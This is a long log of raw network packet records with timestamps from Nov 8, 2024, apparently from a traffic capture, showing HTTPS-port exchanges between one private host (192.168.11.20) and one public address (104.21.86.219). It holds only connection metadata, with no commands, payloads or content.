                                                                                                                                          Nov 8, 2024 11:28:31.000993013 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.001008987 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.001022100 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.001200914 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.001249075 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.012028933 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.012069941 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.012164116 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.012180090 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.012306929 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.012326956 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.012382030 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.012658119 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.012697935 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.012800932 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.012819052 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.012969017 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.013098001 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.013129950 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.013282061 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.013398886 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.013415098 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.013480902 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.013648987 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.013735056 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.013752937 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.013798952 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.013930082 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.227982998 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.228008032 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.228595972 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.228595972 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.228595972 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.228611946 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.228797913 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.243808985 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.243834972 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.244097948 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.244115114 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.244162083 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.244183064 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.244270086 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.244282007 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.244410038 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.244487047 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.244503021 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.244513035 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.244570971 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.244636059 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.244762897 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.244776011 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.244815111 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.244874954 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.244895935 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.245071888 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.245084047 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.245151997 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.245176077 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.245198965 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.245268106 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.245279074 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.245382071 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.245409966 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.245424032 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.245491028 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.245505095 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.245594978 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.245687008 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.245719910 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.245748043 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.245760918 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.245829105 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.245920897 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.246006012 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.246026993 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.246073008 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.246087074 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.246150970 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.246242046 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.246397972 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.246994972 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.247016907 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.247129917 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.247231007 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.247246981 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.247368097 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.248765945 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.248794079 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.248986006 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.248996973 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.249003887 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.249090910 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.250509977 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.250528097 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.250756025 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.250766039 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.250833035 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.252504110 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.252532005 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.252686977 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.252698898 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.252751112 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.252829075 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.254193068 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.254216909 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.254776001 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.254776001 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.254789114 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.256825924 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.256855011 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.256994963 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.257010937 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.257225990 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.258912086 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.258936882 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.259051085 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.259064913 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.259140015 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.259254932 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.268523932 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.268627882 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.268760920 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.268968105 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.268982887 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.318267107 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.477663994 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.477674007 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.477777004 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.477847099 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.477984905 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.478137970 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.478195906 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.478209972 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.478342056 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.478415012 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.478430033 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.478492022 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.478712082 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.479032993 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.479119062 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.479120016 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.479120016 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.479170084 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.479254007 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.480581045 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.480650902 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.480721951 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.480763912 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.480809927 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.480969906 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.482570887 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.482644081 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.482816935 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.482830048 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.482870102 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.482881069 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.483050108 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.484205961 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.484417915 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.484442949 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.484477997 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.484509945 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.484674931 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.485915899 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.485991955 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.486131907 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.486131907 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.486186028 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.486207962 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.486414909 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.487632036 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.487788916 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.487890959 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.487931967 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.488075018 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.488796949 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.488919973 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.489006996 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.489062071 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.489101887 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.489342928 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.490932941 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.491009951 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.491240025 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.491277933 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.491417885 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.502130032 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.502209902 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.502410889 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.502458096 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.502475977 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.502641916 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.503071070 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.503143072 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.503340006 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.503365993 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.503400087 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.503417015 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.503563881 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.504250050 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.504327059 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.504435062 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.504522085 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.504549980 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.504570007 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.504690886 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.505120039 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.505188942 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.505450964 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.505496025 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.506062984 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.506139994 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.506174088 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.506198883 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.506320000 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.506484032 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.506567955 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.506607056 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.506755114 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.507484913 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.507555008 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.507667065 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.507816076 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.507858992 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.508220911 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.508479118 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.508550882 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.508651018 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.508651018 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.508785963 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.508824110 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.509076118 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.509434938 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.509509087 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.509598970 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.509598970 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.509804010 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.509843111 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.509974003 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.510297060 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.510369062 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.510482073 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.510482073 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.510582924 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.510615110 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.510788918 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.735306978 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.735395908 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.735502958 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.735644102 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.735687017 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.735929966 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.736177921 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.736355066 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.736376047 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.736418962 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.736449957 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.736632109 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.736952066 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.737091064 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.737099886 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.737270117 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.737312078 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.738065004 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.738132954 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.738244057 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.738282919 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.738321066 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.738461971 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.739005089 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.739075899 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.739343882 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.739343882 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.739343882 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.739408016 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.740624905 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.740708113 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.740797043 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.740839005 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.740874052 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.741038084 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.742227077 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.742316961 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.742362976 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.742403030 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.742425919 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.742474079 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.742625952 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.743724108 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.743794918 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.743900061 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.743967056 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.743998051 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.744199038 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.745549917 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.745611906 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.745743990 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.745836020 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.745868921 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.746160984 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.747445107 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.747513056 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.747669935 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.747746944 CET49734443192.168.11.20104.21.86.219
                                                                                                                                          Nov 8, 2024 11:28:31.747781992 CET44349734104.21.86.219192.168.11.20
                                                                                                                                          Nov 8, 2024 11:28:31.747998953 CET44349734104.21.86.219192.168.11.20
